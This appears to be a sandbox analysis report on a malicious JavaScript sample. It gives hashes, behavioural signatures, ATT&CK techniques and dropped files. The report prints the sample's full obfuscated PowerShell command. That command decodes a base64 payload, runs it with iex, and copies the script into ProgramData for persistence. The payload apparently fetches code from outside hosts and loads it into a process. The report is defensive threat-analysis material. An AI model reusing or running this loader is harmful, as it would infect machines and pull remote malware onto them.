f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4

Analysis

max time kernel
149s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/09/2026, 22:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaffacakes118_f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4.js
Size 40KB
Sample260909-2mlbvsbl3s
SHA256 f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4
MD5 0a7171e55c37af6092d4ba6ccebe3d59
SHA1 ff40ee0850bed076adbc1039dd6c334d636aa993
SHA512 e564ec7dfcca65cc00fdd7ac6a467ee6f287db5dd23f85acbbe971a229b2fcb24bdfc222516ce16c6230c5152bf9eb950ba8bdf19d504f95f38cd1a4756b2df9
SSDEEP 768:Y1WhlPR1C8KN4xncEPWOoVO0uIglN05rah9FRBw0VJQDqHJ:Y1WhlPR1C8KN4xnHPWOoVO0uIgn05raf
TLSH
T1391321518E32CF4CC5F9E9B2EE53F5894DB78D8C54A43C2647CFC4AD8AA664097E2813
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3320	2380	powershell.exe	85

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	3320	powershell.exe
10	3320	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3320	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3320	powershell.exe
3320	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3320	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3320 wrote to memory of 1504	3320	powershell.exe	88
PID 1504 wrote to memory of 5052	1504	csc.exe	89

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4.js
1⤵
PID:440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$ddsfdgdfhdjhsdfgdgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADUADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwAzAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAFoAVwBaAHMAWgBXAE4AMABhAFcAOQB1AE8AMwBCADEAWQBtAHgAcABZAHkAQgBqAGIARwBGAHoAYwB5AEIARQBiADIAMQBoAGEAVwA1AE0AYgAyAEYAawBaAFgASgA3AGMASABWAGkAYgBHAGwAagBJAEgATgAwAFkAWABSAHAAWQB5AEIAQgBjADMATgBsAGIAVwBKAHMAZQBTAEIATQBiADIARgBf#AFEAWABOAHoAWgBXADEAaQBiAEgAawBvAFkAbgBsADAAWgBWAHQAZABJAEcARQBwAGUAMwBKAGwAZABIAFYAeQBiAGkAQgBCAGMASABCAEUAYgAyADEAaABhAFcANAB1AFEAMwBWAHkAYwBtAFYAdQBkAEUAUgB2AGIAVwBGAHAAYgBpADUATQBiADIARgBf#AEsARwBFAHAATwAzADEAOQAnAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiADYANAApACkAKQANAAoAZgB1AG4AYwB0AGkAbwBuACAAZAAoACQAbAApAHsAJAB3AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAkAGwAIAAtAEMAbwB1AG4AdAAgACQAbAAuAEMAbwB1AG4AdAApAHwAJQB7AHQAcgB5AHsAcgBlAHQAdQByAG4AIAAkAHcALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAXwApAH0AYwBhAHQAYwBoAHsAfQB9AH0ADQAKAGYAdQBuAGMAdABpAG8AbgAgAGkAKAAkAGEALAAkAHQALAAkAG0ALAAkAHAAPQBAACgAKQApAHsAJAB5AD0AWwBEAG8AbQBhAGkAbgBMAG8AYQBkAGUAcgBdADoAOgBMAG8AYQBkAEEAcwBzAGUAbQBiAGwAeQAoACQAYQApADsAJAByAD0AJAB5AC4ARwBlAHQAVAB5AHAAZQBzACgAKQB8AD8AewAkAF8ALgBGAHUAbABsAE4AYQBtAGUAIAAtAGUAcQAgACQAdAB9ADsAJABuAD0AJAByAC4ARwBlAHQATQBlAHQAaABvAGQAKAAkAG0ALAAoAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEIAaQBuAGQAaQBuAGcARgBsAGEAZwBzAF0AJwBQAHUAYgBsAGkAYwAsAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApACkAOwAkAG8APQBpAGYAKAAhACQAbgAuAEkAcwBTAHQAYQB0AGkAYwApAHsAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAHIAKQB9ADsAJABuAC4ASQBuAHYAbwBf#AGUAKAAkAG8ALAAkAHAAKQB9AA0ACgANAAoAJABf#AD0AQAAoACgAJwBoAHQAdABwAHMAOgAvAC8AZgBpAHIAZQBiAGEAcwBlAHMAdABvAHIAYQBnAGUALgBnAG8AbwBnAGwAZQBhAHAAaQBzAC4AYwBvAG0ALwB2ADAALwBiAC8AcgBlAG0AYQBzAGQALQA2AGMANwAwADIALgBmAGkAcgBlAGIAYQBzAGUAcwB0AG8AcgBhAGcAZQAuAGEAcABwAC8AbwAvAHAAaQBjAC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBf#AGUAbgA9ADAAMwA4ADAAYgA4ADkAZQAtADIANgA1AGQALQA0AGMAOQA3AC0AOAAzADAANAAtADUAMgBjADcANQBmADkAMQA0AGYAZQBhACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AYQB1ADcAMgBuAHUAeAB6AHYAMgAuAHUAZgBzAC4AcwBoAC8AZgAvADQATABoAFYANQBCADEAcwBEAEMAdwBJADQARQA2AGcAbwBaADEAcwBEAEMAdwBJAHIAeQA4AHEAVABFAHQAaABf#AGUAQQB2AG4AaQBGAGMAeABSADkAUQBhAFcAegBVACcAKQApAA0ACgBpAGYAKAAoACQAZwA9AGQAIAAkAGsAKQAtAGEAbgBkACgAJAB0AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZwApACkALQBtAGEAdABjAGgAJwA8ADwAQgBBAFMAJwAgACsAIAAnAEUANgA0AF8AUwBUAEEAUgBUAD4APgAoAC4AKgA/ACkAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAdABlAHMAdABwAG8AdwBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwAgACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACAAQAAoACcAdAB4AHQALgBhAFMAaQBkAEYAZABtAC8AbgBpAGEAbQAvAHMAZABhAGUAaAAvAHMAZgBlAHIALwBmAHMAZQB0AC8AZQAyADIAbQBlAGUAZABhAG4ALwBtAG8AYwAuAHQAbgBlAHQAbgBvAGMAcgBlAHMAdQBiAHUAaAB0AGkAZwAuAHcAYQByAC8ALwA6AHMAJwAsACAAJwAzACcALAAgACcAZQByAHQAJwAsACAAJwBNAHMAYgB1AGkAbABkACcALAAgACcAMAAnACAALAAgACcAeAA2ADQAJwApAA0ACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwB8AHMAbwByAHQAIABDAFAAVQAgAC0AZABlAHMAYwB8AHMAZQBsAGUAYwB0ACAALQBmAGkAcgBzAHQAIAA1AHwAZgB0ACAATgBhAG0AZQAsAEMAUABVACAAfQANAAoADQAKACAAIAAgACAAIAAgACAAIAAgACAA';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdgdfhdjhsdfgdgo.replace('f#','r')));iex $OWjuxD"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\jaffacakes118_f600d033161f41825f390ad8c6ea090a3378b19b4fdd86d938eb549f65c293f4.js' -Destination 'C:\ProgramData\ert.js' -Force"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3320
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\04vpiyhe\04vpiyhe.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8652.tmp" "c:\Users\Admin\AppData\Local\Temp\04vpiyhe\CSC3A102D2E1DEB42CB8CD1536C6C4A4E88.TMP"
    3⤵
    PID:5052

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

04vpiyhe.dll

Path C:\Users\Admin\AppData\Local\Temp\04vpiyhe\04vpiyhe.dll
Size 3KB
SHA256 7de661507d91d6312bf8a0451041693c07b8d4b56e769d7a12e6a31715b32c33
MD5 ff4480650d493df854b312244a2fcff5
SHA1 f1ae85e3429bf90b5f664e047d73e1113c0be659
SHA512 9d5f2d7607adf767946c45a70c7a1d99513b15936466ccf2071276a9eb109be14f3bb30d6e7a771c6511e5aea4c5232d1a830a674fc51c3444317743969c8613
TLSH
T15251F01663E8422BE0B70738BEF397133774F9509B72836D59801228AC207641E31FB5
MD5 SHA1 SHA512 TLSH

Submit Download

RES8652.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES8652.tmp
Size 1KB
SHA256 ebe0af3ead5d1efb7501d353a668eeb12b57d212daf197094ab409ad17229ae0
MD5 360b6f05d06d003e2de59b53ff6d2b05
SHA1 8dbfe4c513be63c0d223ba158055796b0009e7ef
SHA512 9235b6365bd8bf91020635168243715c852cd1f4bc70665f9c07bc2f492b62963ee1ac13ff4f8fe673d8871f971d6c85366874ed395bbfeadfa6bd9e42d876d2
TLSH
T189217B1593E9471FF0B76B3179F6071BA228FD95EF62936B854002282C50144DEA1FB2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_p0efzx2b.byv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p0efzx2b.byv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

04vpiyhe.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\04vpiyhe\04vpiyhe.0.cs
Size 153B
SHA256 96cd128f981271bf1086c767b1d809a55b680fd10f4c959aaedca91240dbb634
MD5 e60b26590cee7552cb218bbb60f0f1ea
SHA1 eea3f71c9c75ca2cb6b7a5fdf766915a777dd0a6
SHA512 0c7d7aa5c11771ccba9d292b447268e07daea831b61326aa5eed1c05c6df667de0d59447b368f4478dec75b6fa638568328c11ecd2474b0e0c9a982ab7fecaf6
TLSH
T19CC08C443301F3300B92894B3D03FC0B233EF32142A9E404E4A80507DE19060F638D2E
MD5 SHA1 SHA512 TLSH

Submit Download

04vpiyhe.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\04vpiyhe\04vpiyhe.cmdline
Size 369B
SHA256 9efb06871ad23003ccb22be0bb4dc4ef89394dbf609e84a176c2dc067613004c
MD5 72ff3330803adb987d82f7186cc2a8eb
SHA1 299045f849e68c7404a24413946a4ca238881172
SHA512 e39a04c0b70f5ab9c8499a89b892ad6b013897f8a839ec1fbc3c265e3efe3673c743ac956dfff3610d13ef8e25297636348107342a97357a75b9df9611f8509c
TLSH
T157E0C62A624EC27D41ED600B32AAD4ACC3728FC73A803F84E040840EE227000ABF3781
MD5 SHA1 SHA512 TLSH

Submit Download

CSC3A102D2E1DEB42CB8CD1536C6C4A4E88.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\04vpiyhe\CSC3A102D2E1DEB42CB8CD1536C6C4A4E88.TMP
Size 652B
SHA256 84acf565bc081a74f04634d90d0e7c1d1e5bcb206d54fc29e7d1c5adbedded73
MD5 02a89991ba07357d6ee29986099615b8
SHA1 3b6063e77a8339432a98da004556717f2900588b
SHA512 b83d19b752dcb2e86cc18e3e8d6bad1ba658be0083c5c66e1a95522be610370ab0248bae8b5e147f488ab0e5fed910a7f2f634ea6fd76a38bf34b366bfb512ff
TLSH
T16BF05E1A73F8020EF0F35B30BDF6836391A8BC65DE3293ED1540031928645148962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3320-1-0x0000020A9F560000-0x0000020A9F570000-memory.dmp

Download

memory/3320-0-0x0000020A9F560000-0x0000020A9F570000-memory.dmp

Download

memory/3320-9-0x0000020A9F4E0000-0x0000020A9F502000-memory.dmp

Download

memory/3320-22-0x0000020A9F4D0000-0x0000020A9F4D8000-memory.dmp

Download